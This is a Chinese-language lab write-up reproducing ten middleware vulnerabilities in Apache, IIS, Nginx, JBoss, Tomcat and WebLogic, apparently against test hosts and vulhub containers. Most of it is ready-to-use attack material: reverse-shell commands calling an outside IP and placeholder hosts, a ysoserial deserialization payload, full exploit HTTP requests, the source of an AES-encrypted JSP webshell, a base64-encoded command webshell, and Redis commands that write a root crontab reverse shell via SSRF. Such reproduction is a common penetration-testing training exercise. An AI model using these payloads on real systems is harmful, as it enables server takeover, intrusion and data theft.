常见中间件漏洞复现

# 常见中间件漏洞复现

1 使用Apache解析漏洞获取服务器权限

http://10.2.2.15/
image-20210724163514777

抓包,修改后缀 .jsp.png

image-20210724163731962

成功

image-20210724163923235

2 使用IIS文件解析漏洞获取服务器权限

http://10.2.2.90/QuickUpload.htm

抓包

image-20210724170540471

修改文件名0907.asp;.jpg 返回到路径

1
{ path: "./file/0907.asp;.jpg", name: "0907.asp;.jpg" }

蚁剑连接

image-20210724170514910

连接成功

image-20210724170747766

3 使用Jboss(CVE-2017-12149)反序列化获取服务器权限

http://10.2.2.48:8080/

编写反弹shell的命令

使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

1
bash -i >& /dev/tcp/47.117.3.31/4564 0>&1

编码

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTcuMy4zMS80NTY0IDA+JjE=}|{base64,-d}|{bash,-i}

序列化数据生成

使用ysoserial来复现生成序列化数据,所以选择使用的gadget是CommonsCollections5:

1
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTcuMy4zMS80NTY0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:

image-20210724174848645

反弹shell

image-20210724174731945

4 利用Jboss后台弱口令获取服务器权限

http://10.2.2.48:8080/ admin/vulhub

登录

1
http://10.2.2.48:8080/admin-console/login.seam?conversationId=4

image-20210724175052606

上传war

image-20210724180522747

image-20210724180559613

上传成功

image-20210724180639602

访问

image-20210724180717028

上传冰蝎马

image-20210724180824452

成功

image-20210724180837416

image-20210724180854047

连接成功

image-20210724181049442

image-20210724181112905

5 使用Nginx文件解析漏洞获取服务器权限

http://10.2.2.17/

随便上传一个图片

image-20210724191631647

最后加上phpinfo

返回路径

image-20210724191658028

image-20210724191717696

加上/x.php

1
http://10.2.2.17/uploadfiles/14e95f2d66bdfbc9714c7ea7c246480a.png/x.php

image-20210724191732044

6 使用Tomcat(CVE-2017-12615)远程代码执行漏洞获取服务器权限

http://10.2.2.19:8081/

image-20210724181843115

抓包 PUT写文件

1
2
3
4
5
6
7
8
9
10
11
12
PUT / HTTP/1.1
Host: 10.2.2.19:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 542

AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="dfff0a7fa1a55c8c";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

image-20210724182111928

上传成功

image-20210724182150976

冰蝎连接

image-20210724182337968

image-20210724182605894

7 利用Tomcat后台获取服务器权限

http://10.2.2.19:8080/

环境: http://10.2.2.44:8080/

image-20210719192036246

manager app 登录抓包,发送到测试器

image-20210719192248532

将用户名:密码base64的编码添加为变量

有效载荷类型设置为 自定义迭代器

image-20210719192656148

位置1 设置为用户名

image-20210719192728425

位置2 设置 :

image-20210719192752278

位置3 设置密码字典

image-20210719192907815

处理设置为base64编码

image-20210719192858189

url关闭

image-20210719192950597

爆破到密码

image-20210719193027513

解码为 tomcat:admin

image-20210719193051504

登录到管理界面

image-20210719193140346

先将gxy.jsp小马压缩为gxy.zip,再将zip后缀改名为war,然后上传war包:

image-20210719194026021

上传成功

image-20210719194121134

访问小马地址

image-20210719194146967

上传一个jsp的冰蝎马 密码 cmd -->dfff0a7fa1a55c8c1a4966c19f6da452

1
AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="dfff0a7fa1a55c8c";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

image-20210719194603331

image-20210719194534285

上传成功

1
http://10.2.2.44:8080/gxy/22222.jsp

image-20210719194626253

冰蝎连接

image-20210719194649478

成功

image-20210719194714708

8 利用weblogic(CVE-2018-10271)反序列化漏洞获取服务器权限

http://10.2.2.75:7001/

image-20210722200729157

发送以下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 10.2.2.75:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/你的vps/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

vps nc监听

image-20210722201217587

getshell

9 Weblogic _async 反序列化漏洞 7001端口

http://10.2.2.68:7001/_async/AsyncResponseService

image-20210722201451878

发送以下poc包,写入一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /_async/AsyncResponseService HTTP/1.1
Host: 10.2.2.68:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
content-type: text/xml
Content-Length: 1383

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

image-20210722203713584

202 成功

执行whoami

1
http://10.2.2.68:7001/_async/webshell.jsp?pwd=123&cmd=whoami

image-20210722203743827

10 搭建并复现weblogic SSRF漏洞探测内网,并攻击内网redis应用

利用vulhub的docker环境搭建

在/vulhub/weblogic/ssrf目录下运行

1
docker-compose up -d

image-20210724183847117

搭建成功

image-20210724184029298

image-20210724184053039

http://ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

image-20210724184240734

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

image-20210724184459593

修改为一个不存在的端口,将会返回could not connect over HTTP to server

image-20210724184613514

通过错误的不同,即可探测内网状态。

内网探测

发送测试器

image-20210724194210803

1

image-20210724185349499

2

image-20210724185415170

扫描到redis数据库

image-20210724194142150

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.29.0.2:6379可以连通:

发送三条redis命令,将弹shell脚本写入/etc/crontab

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

1
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

1
2
3
4
5
6
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

image-20210724194733280

定时任务 得等会

反弹成功

image-20210724194718345